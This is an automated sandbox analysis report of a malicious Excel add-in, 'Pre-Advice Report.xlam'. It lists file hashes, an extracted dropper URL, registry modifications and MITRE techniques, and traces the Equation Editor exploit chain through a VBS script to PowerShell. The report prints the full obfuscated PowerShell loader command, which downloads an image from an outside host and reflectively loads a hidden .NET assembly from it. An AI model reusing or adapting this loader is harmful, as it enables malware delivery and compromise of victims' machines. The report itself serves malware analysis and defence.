7be0e7463275859563c266e5a7f0d02dd105458764ca49523d19c64811e1f0d5

Analysis

max time kernel
76s
max time network
127s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
03/10/2023, 06:16

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Report Analysis Logs

General

Target

Pre-Advice Report.xlam
Size

651KB
MD5

711f22759352f71502ae383ab4cea435
SHA1

2c766048391043b624a0d9713fa664ec5f151a0e
SHA256

7be0e7463275859563c266e5a7f0d02dd105458764ca49523d19c64811e1f0d5
SHA512

f3f227160b2323288bb355b92339f4d5437a7073e5f500245500d0a2a8101c0474dbb3b5c4107d3e333a2f9686f0f32154398fef7e2ee9a859c0e15927f85daa
SSDEEP

12288:k7kKAv0OQdL/SNqcpJJ/GO7ewecU9EnVrTw10qJdG+NWxkckgUk:k7kKaQJIJJ/Gs3lU+nhTqQ+8xTUk

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/622/019/original/rump_new.jpg?1695949870

exe.dropper

https://uploaddeimagens.com.br/images/004/622/019/original/rump_new.jpg?1695949870

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
4	2476	EQNEDT32.EXE
7	2476	EQNEDT32.EXE
9	2476	EQNEDT32.EXE
12	2896	powershell.exe
14	2896	powershell.exe
16	2896	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2476	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2424	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2536	powershell.exe
2896	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeDebugPrivilege	2896	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2424	EXCEL.EXE
2424	EXCEL.EXE
2424	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2476 wrote to memory of 2644	2476	EQNEDT32.EXE	29
PID 2476 wrote to memory of 2644	2476	EQNEDT32.EXE	29
PID 2476 wrote to memory of 2644	2476	EQNEDT32.EXE	29
PID 2476 wrote to memory of 2644	2476	EQNEDT32.EXE	29
PID 2644 wrote to memory of 2536	2644	WScript.exe	30
PID 2644 wrote to memory of 2536	2644	WScript.exe	30
PID 2644 wrote to memory of 2536	2644	WScript.exe	30
PID 2644 wrote to memory of 2536	2644	WScript.exe	30
PID 2536 wrote to memory of 2896	2536	powershell.exe	33
PID 2536 wrote to memory of 2896	2536	powershell.exe	33
PID 2536 wrote to memory of 2896	2536	powershell.exe	33
PID 2536 wrote to memory of 2896	2536	powershell.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Pre-Advice Report.xlam"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2424

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dertxza.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░2░░░DI░░░Mg░░░v░░░D░░░░░░MQ░░░5░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░cgB1░░░G0░░░c░░░Bf░░░G4░░░ZQB3░░░C4░░░agBw░░░Gc░░░Pw░░░x░░░DY░░░OQ░░░1░░░Dk░░░N░░░░░░5░░░Dg░░░Nw░░░w░░░Cc░░░Ow░░░k░░░Hc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░C░░░░░░PQ░░░g░░░E4░░░ZQB3░░░C0░░░TwBi░░░Go░░░ZQBj░░░HQ░░░I░░░BT░░░Hk░░░cwB0░░░GU░░░bQ░░░u░░░E4░░░ZQB0░░░C4░░░VwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBC░░░Hk░░░d░░░Bl░░░HM░░░I░░░░░░9░░░C░░░░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░u░░░EQ░░░bwB3░░░G4░░░b░░░Bv░░░GE░░░Z░░░BE░░░GE░░░d░░░Bh░░░Cg░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░KQ░░░7░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░I░░░░░░9░░░C░░░░░░WwBT░░░Hk░░░cwB0░░░GU░░░bQ░░░u░░░FQ░░░ZQB4░░░HQ░░░LgBF░░░G4░░░YwBv░░░GQ░░░aQBu░░░Gc░░░XQ░░░6░░░Do░░░VQBU░░░EY░░░O░░░░░░u░░░Ec░░░ZQB0░░░FM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BG░░░Gw░░░YQBn░░░C░░░░░░PQ░░░g░░░Cc░░░P░░░░░░8░░░EI░░░QQBT░░░EU░░░Ng░░░0░░░F8░░░UwBU░░░EE░░░UgBU░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BG░░░Gw░░░YQBn░░░C░░░░░░PQ░░░g░░░Cc░░░P░░░░░░8░░░EI░░░QQBT░░░EU░░░Ng░░░0░░░F8░░░RQBO░░░EQ░░░Pg░░░+░░░Cc░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BG░░░Gw░░░YQBn░░░Ck░░░Ow░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░SQBu░░░GQ░░░ZQB4░░░E8░░░Zg░░░o░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░LQBn░░░GU░░░I░░░░░░w░░░C░░░░░░LQBh░░░G4░░░Z░░░░░░g░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░LQBn░░░HQ░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░r░░░D0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BG░░░Gw░░░YQBn░░░C4░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░C░░░░░░PQ░░░g░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░LQ░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░7░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░QwBv░░░G0░░░bQBh░░░G4░░░Z░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░UwB1░░░GI░░░cwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░L░░░░░░g░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░KQ░░░7░░░CQ░░░YwBv░░░G0░░░bQBh░░░G4░░░Z░░░BC░░░Hk░░░d░░░Bl░░░HM░░░I░░░░░░9░░░C░░░░░░WwBT░░░Hk░░░cwB0░░░GU░░░bQ░░░u░░░EM░░░bwBu░░░HY░░░ZQBy░░░HQ░░░XQ░░░6░░░Do░░░RgBy░░░G8░░░bQBC░░░GE░░░cwBl░░░DY░░░N░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░QwBv░░░G0░░░bQBh░░░G4░░░Z░░░░░░p░░░Ds░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░I░░░░░░9░░░C░░░░░░WwBT░░░Hk░░░cwB0░░░GU░░░bQ░░░u░░░FI░░░ZQBm░░░Gw░░░ZQBj░░░HQ░░░aQBv░░░G4░░░LgBB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░XQ░░░6░░░Do░░░T░░░Bv░░░GE░░░Z░░░░░░o░░░CQ░░░YwBv░░░G0░░░bQBh░░░G4░░░Z░░░BC░░░Hk░░░d░░░Bl░░░HM░░░KQ░░░7░░░CQ░░░d░░░B5░░░H░░░░░░ZQ░░░g░░░D0░░░I░░░░░░k░░░Gw░░░bwBh░░░GQ░░░ZQBk░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQ░░░u░░░Ec░░░ZQB0░░░FQ░░░eQBw░░░GU░░░K░░░░░░n░░░EY░░░aQBi░░░GU░░░cg░░░u░░░Eg░░░bwBt░░░GU░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░g░░░D0░░░I░░░░░░k░░░HQ░░░eQBw░░░GU░░░LgBH░░░GU░░░d░░░BN░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░o░░░Cc░░░VgBB░░░Ek░░░Jw░░░p░░░C4░░░SQBu░░░HY░░░bwBr░░░GU░░░K░░░░░░k░░░G4░░░dQBs░░░Gw░░░L░░░░░░g░░░Fs░░░bwBi░░░Go░░░ZQBj░░░HQ░░░WwBd░░░F0░░░I░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgB3░░░G4░░░ZwBm░░░Gg░░░YQBy░░░C8░░░bQBh░░░Hk░░░LwB0░░░G4░░░ZQB0░░░G4░░░bwBj░░░C0░░░c░░░B3░░░C8░░░egB0░░░C4░░░bwBj░░░C4░░░b░░░Bl░░░HQ░░░cwBv░░░Gg░░░aQBy░░░GE░░░ZgBh░░░HM░░░bwBi░░░Gk░░░awBv░░░GQ░░░YQBy░░░G8░░░b░░░Bv░░░GM░░░Lw░░░v░░░Do░░░cwBw░░░HQ░░░d░░░Bo░░░Cc░░░I░░░░░░s░░░C░░░░░░JwBi░░░G8░░░cwB0░░░GE░░░Jw░░░p░░░Ck░░░';$OWjuxd= [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String($codigo.replace('░░░','A') )) ;powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $oWjuxD
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2536
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
